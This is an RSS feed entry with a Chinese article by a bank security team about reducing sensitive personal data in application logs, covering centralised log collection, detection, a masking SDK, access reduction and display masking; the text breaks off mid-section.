<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Fintech 安全之路</title>
    <link>https://wechat2rss.xlab.app/feed/8045973546e92ec9048b5cdf10bed4b5889567ea.xml</link>
    <description>银行业应用安全的建设思考&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (Fintech 安全之路)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM68YOcIxGXD3uCjeJUicPx3SnUgMqa3b62FXpn9u4kY6OQ/0</url>
      <title>Fintech 安全之路</title>
      <link>https://wechat2rss.xlab.app/feed/8045973546e92ec9048b5cdf10bed4b5889567ea.xml</link>
    </image>
    <item>
      <title>关于企业日志脱敏治理的经验之谈</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247485009&amp;idx=1&amp;sn=43fe81ee814f41fedb98cbddeae4317c</link>
      <description>在个人信息保护越来越受到重视的当下，数据安全管控力度也不断加强，有关部门也对金融单位提出了更高的要求。</description>
      <content:encoded><![CDATA[<p>
<span>平安银行安全团队</span> <span>2023-03-23 20:03</span> <span style="display: inline-block;">上海</span>
</p>

<p>在个人信息保护越来越受到重视的当下，数据安全管控力度也不断加强，有关部门也对金融单位提出了更高的要求。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4470c0f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z5Z2f5VPH4zhL7yViakrGYexcKzZhe2ObnCHX6hSicLN2JSEIBxDXzpE2YcSrlJvocCgiaZ1Hd27Bptg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="Powered by 135editor.com onekey" style="font-size: 16px;font-family: Optima-Regular, PingFangTC-Light, 微软雅黑;"><p><em><span style="font-size: 14px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">文：黄韦博 裴玲</span></em><span style="font-size: 14px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"></span></p><p><br/></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">在个人信息保护越来越受重视的当下，国家数据安全管控力度也不断加强，尤其是对金融单位的管理要求也更加严格。本文是从快速治理的角度出发，分享基于日志管理平台所做的企业日志脱敏治理经验。</span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="108585"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 16px;height: 3px;background-color: rgb(0, 0, 0);margin-top: -14px;margin-right: -8px;box-sizing: border-box;overflow: hidden;"><br/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);width: auto;height: 30px;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section data-brushtype="text" style="letter-spacing: 1.5px;color: rgb(0, 0, 0);line-height: 28px;"><span style="font-family:微软雅黑, Microsoft YaHei;">治理背景</span></section></section><section style="width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;box-sizing:border-box;"><section style="width: 1px;height: 30px;background-color: rgb(255, 255, 255);box-sizing: border-box;transform: rotate(45deg);overflow: hidden;"><br/></section><section style="width: 1px;height: 30px;background-color: rgb(255, 255, 255);box-sizing: border-box;transform: rotate(-45deg);overflow: hidden;"><br/></section></section></section></section></section><p><br/></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">在各类敏感信息存储媒介中，应用日志是其中的重点之一，由于业务方场景过于繁杂，研发人员可能于多种情况下在日志内留存敏感信息，例如：</span></p><ul class="list-paddingleft-1" style="padding-left: 30px;outline: 0px;max-width: 100%;list-style-position: outside;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;overflow-wrap: break-word !important;"><li><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">保留业务信息以便取证溯源，如客服对话、订单。</span></p></li><li><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">保留上下游业务对接信息，以便进行链路跟踪。</span></p></li><li><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">特殊系统需要保留日志原文，便于外部监管和内部审计。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;"></span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;"></span></p></li><li><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;"><span style="color: rgb(0, 0, 0);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: 1.5px;background-color: rgb(255, 255, 255);">系统不含数据库，需要依靠日志做落盘存储。</span></span></p></li><li><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;"><span style="color: rgb(0, 0, 0);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: 1.5px;background-color: rgb(255, 255, 255);">公共框架/组件打印输出敏感信息。</span></span></p></li></ul><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">故而，日志内敏感信息的问题也成了稽核监管在数据安全方面重点关注的事项。</span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="108585"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 16px;height: 3px;background-color: rgb(0, 0, 0);margin-top: -14px;margin-right: -8px;box-sizing: border-box;overflow: hidden;"><br/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);width: auto;height: 30px;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section data-brushtype="text" style="letter-spacing: 1.5px;color: rgb(0, 0, 0);line-height: 28px;"><span style="font-family:微软雅黑, Microsoft YaHei;">治理成果</span></section></section><section style="width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;box-sizing:border-box;"><section style="width: 1px;height: 30px;background-color: rgb(255, 255, 255);box-sizing: border-box;transform: rotate(45deg);overflow: hidden;"><br/></section><section style="width: 1px;height: 30px;background-color: rgb(255, 255, 255);box-sizing: border-box;transform: rotate(-45deg);overflow: hidden;"><br/></section></section></section></section></section><p><br/></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">在半年多的阶段性治理后，应用系统日志内敏感信息的抽样命中比率同比下降了约<strong>87%</strong>，同时日志敏感信息检测已形成常态化治理机制，做到了及时发现、及时整改闭环，治理工作总体上取得了显著成效。</span></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="108585"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: center;"><section style="width: 16px;height: 3px;background-color: rgb(0, 0, 0);margin-top: -14px;margin-right: -8px;box-sizing: border-box;overflow: hidden;"><br/></section><section style="border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);width: auto;height: 30px;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section data-brushtype="text" style="letter-spacing: 1.5px;color: rgb(0, 0, 0);line-height: 28px;"><span style="font-family:微软雅黑, Microsoft YaHei;">治理思路</span></section></section><section style="width: 30px;height: 30px;background-color: #000;display:flex;justify-content: center;align-items: center;box-sizing:border-box;"><section style="width: 1px;height: 30px;background-color: rgb(255, 255, 255);box-sizing: border-box;transform: rotate(45deg);overflow: hidden;"><br/></section><section style="width: 1px;height: 30px;background-color: rgb(255, 255, 255);box-sizing: border-box;transform: rotate(-45deg);overflow: hidden;"><br/></section></section></section></section></section><p><br/></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">基于行内已有统一的日志管理平台，在其他资源有限的情况下，想要快速收敛日志内敏感信息的风险问题，首要方案是将日志进行收口管理，同时向开发提供相关脱敏工具，并持续对日志内的敏感信息进行检测，督促开发基于检测结果进行排查和整改，以制度、流程、工具为基准，从三个层面推动治理。</span></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><img class="rich_pages wxw-img" data-ratio="0.37407407407407406" style="vertical-align: inherit;width: 100%;box-sizing: border-box;font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0b6ef5fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Z2f5VPH4zhL7yViakrGYexhDib8ef3Nia56RzhrM282jqkNBGQVYBiazicNy9ic0HLaqCdwkM2CZibicvkA%2F640%3Fwx_fmt%3Dpng"/></p><section data-tools="135编辑器" data-id="113759"><section style="margin: 20px auto;"><section style="display: flex;justify-content: center;"><section><section style="display: flex;justify-content: flex-end;align-items: flex-end;padding-right: 7px;box-sizing:border-box;"><section style="width: 20px;box-sizing:border-box;"><img data-ratio="2.0526315789473686" style="vertical-align: inherit;width: 100%;display: block;box-sizing: border-box;" data-type="png" data-w="38" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=07159140&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Z2f5VPH4zhL7yViakrGYexk0b58tNDgYWpcEhjmFJEelU613tMnwQxw7duJoeWZO3gmwqsnUYU5w%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="background-color: #f4f8fc;text-align: center;padding: 5px 35px 5px 15px;color: #448ae0;font-size: 20px;margin-top: -27px;box-sizing:border-box;"><span style="font-size: 16px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text" data-markdown="">一、初期准备</strong></span></section></section></section></section></section><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><br/></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;"><strong>1、完善制度规范</strong></span></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">强调应用日志内不可留存敏感信息的管理要求，并要求应用在上线时需同步完成日志管理平台的接入，以确保日志统一收口管理，同时明确例外申请渠道。</span></p><section data-role="list"><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;"><li><p style="text-align:justify;line-height: 1.75em;color: #000000;font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">日志需要统一采集到日志平台进行访问。</span></p></li><li><p style="text-align:justify;line-height: 1.75em;color: #000000;font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">应用日志内不允许记录明文敏感信息。</span></p></li><li><p style="text-align:justify;line-height: 1.75em;color: #000000;font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">理清敏感信息基线，对日志脱敏的范围和标准进行圈定。</span></p></li><li><p style="text-align:justify;line-height: 1.75em;color: #000000;font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">开放例外通道，针对特殊情况按标准例外流程管理。</span></p></li></ul></section><p><br/></p><p><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;"><strong>2、建立联络机制</strong></span></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">对于长期项目而言，跟管理层、项目组、执行团队建立良好的联络反馈机制，是非常有必要的。我们主要从下面两点进行了准备。</span></p><p><br/></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">1）建立项目组</span></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">纳入相关领域的研发负责人，保障对项目执行的有效落地。同时，维护了安全接口人（PMO）体系，保障安全团队对于研发团队的要求能够得到准确及快速的传达。</span></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><br/></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family:微软雅黑, Microsoft YaHei;">2）建立沟通汇报机制</span></p><p><span style="font-size: 14px;letter-spacing: 1.5px;caret-color: red;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">成立项目沟通群，确保大家问题能得到及时反馈，如收到针对脱敏工具和流程的合理建议，也会尽快确认并纳入版本进行优化；制定项目周例会，线下沟通项目进展及当前风险；定期向领导层同步项目进度，让问题和成果都变得透明化。<br/></span></p><p><br/></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;"><strong>3、提供工具支撑</strong></span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">1）统一日志管理平台</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">日志统一收口管理，默认前端脱敏展示，并提供实时和异步检测日志敏感信息的能力，方便开发进行快速排查并整改原始日志。</span></p><section data-page-id="KmpndKuCzowza7xK1JNcXYKVnjg" data-docx-has-block-data="false" style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><ul start="1" class="list-paddingleft-1" style="padding-left: 30px;outline: 0px;max-width: 100%;list-style-position: outside;overflow-wrap: break-word !important;"><li><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 24.5px;color: rgb(0, 0, 0);text-decoration-style: solid;text-decoration-color: rgb(0, 0, 0);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;box-sizing: border-box !important;overflow-wrap: break-word !important;">持续抽样检测日志：在上送日志时抽样若干条日志进行检测，如命中敏感信息规则，则记录，形成敏感信息报表。</span></p></li><li><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 24.5px;color: rgb(0, 0, 0);text-decoration-style: solid;text-decoration-color: rgb(0, 0, 0);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;box-sizing: border-box !important;overflow-wrap: break-word !important;">异步检测存量日志能力：对历史日志进行全量跑批检测，用以辅助排查敏感信息。</span></p></li></ul></section><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">2）统一日志脱敏工具</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">项目组为研发团队提供了脱敏SDK，支持通过全局配置和注解（高优先级）进行脱敏。</span></p><section data-role="list" style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><ul class="list-paddingleft-1" style="padding-left: 30px;outline: 0px;max-width: 100%;list-style-position: outside;overflow-wrap: break-word !important;"><li><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">如果仅对字符串进行掩码，调用敏感字段类型对应的方法即可。</span></p></li><li><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">如果需要简单对象（pojo）进行脱敏，可以先对其中涉及的敏感字段进行注解标记，调用SDK后会正常返回一个json字符串。</span></p></li><li><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">如果是对复杂对象进行脱敏，则在返回结果后，可能会丢失掉原对象中的结构细节（fastjson.toString的特点）。</span></p></li></ul></section><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">3）统一安全运营平台</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">用于对接日志管理平台，将获取到的检测结果自动生成整改工单，利用平台的线上化跟进能力，自动分发整改项，自动进行整改指标统计，闭环日志脱敏整改问题；并对接研发管理平台，提供安全质量门禁检查的版本管控能力。</span></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><br/></p><section data-tools="135编辑器" data-id="113759"><section style="margin: 20px auto;"><section style="display: flex;justify-content: center;"><section><section style="display: flex;justify-content: flex-end;align-items: flex-end;padding-right: 7px;box-sizing:border-box;"><section style="width: 20px;box-sizing:border-box;"><img data-ratio="2.0526315789473686" style="vertical-align: inherit;width: 100%;display: block;box-sizing: border-box;" data-type="png" data-w="38" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=07159140&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Z2f5VPH4zhL7yViakrGYexk0b58tNDgYWpcEhjmFJEelU613tMnwQxw7duJoeWZO3gmwqsnUYU5w%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="background-color: #f4f8fc;text-align: center;padding: 5px 35px 5px 15px;color: #448ae0;font-size: 20px;margin-top: -27px;box-sizing:border-box;"><span style="font-size: 16px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><strong data-brushtype="text" data-markdown="">二、中期治理</strong></span></section></section></section></section></section><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">1、收敛日志访问权限</strong></span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">1）推动所有存量应用系统接入统一日志管理平台，并建立相关管控流程确保增量应用上线前同步完成接入。同时根据系统开发和运维角色进行针对性赋权，确保日志平台的权限最小化管控。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;">2）推动回收研发人员冗余的生产环境OS权限（在日志脱敏事项治理之前，不少研发人员都拥有生产环境OS权限，能够直接通过生产环境机器查看日志）</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;font-size: 14px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">2、日志管理平台默认前端掩码</strong></span></p><p style="text-align:justify;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family:微软雅黑, Microsoft YaHei;"><span style="outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 24.5px;color: rgb(0, 0, 0);text-decoration-style: solid;text-decoration-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;">1）</span><span style="outline: 0px;max-width: 100%;letter-spacing: 1.5px;caret-color: red;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">日志平台在接口层面对展示内容进行敏感信息掩码，确保原始日志未脱敏的情况下，研发团队在日志管理平台查询日志也不会接触到敏感信息。</span></span></p><p style="text-align:justify;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 1.71em;color: rgb(0, 0, 0);text-decoration-style: solid;text-decoration-color: rgb(0, 0, 0);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;box-sizing: border-box !important;overflow-wrap: break-word !important;">2）为避免日志平台的前端掩码和原始日志的掩码难以区分，从而对开发造成困扰，日志平台前端掩码采用特殊的“^”符号，区别于原始日志掩码采用的“*”符号。</span></p><p style="text-align:justify;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6194444444444445" data-s="300,640" style="color: rgb(51, 51, 51);font-size: 17px;text-align: center;width: 100%;box-sizing: border-box;font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=755269f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Z2f5VPH4zhL7yViakrGYexEiaictIoJibFLHDr2YEeQEUwdZSxZH5TDcjniaQDiaQlictBqhrQaXx2cmew%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:center;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-size: 12px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">原始日志脱敏样例</span></p><p style="text-align:center;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-size: 12px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6194444444444445" data-s="300,640" style="color: rgb(51, 51, 51);font-size: 17px;width: 100%;box-sizing: border-box;font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=915b90be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z5Z2f5VPH4zhL7yViakrGYexEIa7bFQsJKu8ucQV0FPic60uznp0xjvMyhQM6DNygibb1yHKouRfzolQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align:center;line-height: 1.75em;color: rgb(0, 0, 0);font-size: 14px;text-shadow: none;letter-spacing: 1.5px;"><span style="font-size: 12px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;">日志平台前端默认掩码样例</span></p><section data-tools="135编辑器" data-id="113759"><section style="margin: 20px auto;"><section style="display: flex;justify-content: center;"><section><section style="display: flex;justify-content: flex-end;align-items: flex-end;padding-right: 7px;box-sizing:border-box;"><section style="width: 20px;box-sizing: border-box;height: 0px;overflow: hidden;"><br/></section></section></section></section></section></section><p style="text-align:justify;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 1.71em;color: rgb(0, 0, 0);text-decoration-style: solid;text-decoration-color: rgb(0, 0, 0);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;box-sizing: border-box !important;overflow-wrap: break-word !important;">3）为避免日志平台前端误掩码导致影响开发排障，用户可通过点击“眼睛”标识符查看原始日志，同时限制单次查看次数，并对查看行为进行审计。</span></p><p style="text-align:justify;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 1.5px;line-height: 1.71em;color: rgb(0, 0, 0);text-decoration-style: solid;text-decoration-color: rgb(0, 0, 0);font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;box-sizing: border-box !important;overflow-wrap: break-word 